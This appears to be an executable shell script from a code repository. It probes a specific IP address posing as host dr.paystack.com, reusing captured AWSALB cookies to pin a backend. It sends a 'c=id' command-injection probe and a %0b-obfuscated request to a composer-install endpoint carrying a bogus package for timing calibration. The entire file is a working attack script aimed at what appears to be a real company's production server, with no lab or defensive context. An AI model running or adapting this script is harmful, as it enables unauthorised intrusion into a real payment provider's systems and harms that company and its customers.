17 lines
1.4 KiB
Bash
Executable file
17 lines
1.4 KiB
Bash
Executable file
#!/bin/sh
|
|
# Verify composer-install instance: POST c=id with captured AWSALB pin, fingerprint GET, bogus-package calibrate
|
|
IP=52.51.74.51
|
|
A='TpIcZ1jlFWpbOhdHiiGnyydWhBuxwMLQP1Nfpna1rBHfmb03fzN9DZ7NgofFdR3XJ0qje4EJm3RqCFvnexw+UAVtcYpFGMioz16zxKUtL4lsT9rTBUziL93Vy'
|
|
PIN="AWSALB=$A; AWSALBCORS=$A"
|
|
B='9b650f1604ec468732e26312e1595d0759fc846639d01011389720fefaaa7f0e%7B%22requirements%22%3A%7B%22pstk-bogus-zz%2Fnope-zz%22%3A%229.9.9%22%7D%7D'
|
|
f=/tmp/c2.post; g=/tmp/c2.get; hf=/tmp/c2.h; bf=/tmp/c2.bog
|
|
c1=$(curl -sk -m 15 -o "$f" -w '%{http_code}' -H 'Host: dr.paystack.com' -b "$PIN" --data 'c=id' "https://$IP/" 2>/dev/null)
|
|
echo "P1|$c1|len=$(wc -c <"$f" 2>/dev/null)|$(head -c 220 "$f" 2>/dev/null | tr '\n\r' ' ')"
|
|
c2=$(curl -sk -m 15 -o "$g" -w '%{http_code}' -H 'Host: dr.paystack.com' -b "$PIN" "https://$IP/" 2>/dev/null)
|
|
echo "G1|$c2|len=$(wc -c <"$g" 2>/dev/null)|$(grep -o '<title>[^<]*' "$g" 2>/dev/null | head -1 | cut -c8-60)"
|
|
t0=$(date +%s)
|
|
c3=$(curl -sk -m 150 -D "$hf" -o "$bf" -w '%{http_code}' -H 'Host: dr.paystack.com' -b "$PIN" -H 'Accept: application/json' -H 'Content-Type: application/x-www-form-urlencoded' --data "data=$B" "https://$IP/?p=Jzw5Zk9s47Ku9tCYJ%0b8y9PG8/act%0bions/config-sync/composer-install" 2>/dev/null)
|
|
t1=$(date +%s)
|
|
echo "BOG|$c3|dt=$((t1-t0))|len=$(wc -c <"$bf" 2>/dev/null)|$(head -c 700 "$bf" 2>/dev/null | tr '\n\r' ' ')"
|
|
grep -i '^set-cookie' "$hf" | cut -c1-140
|
|
echo CI2DONE
|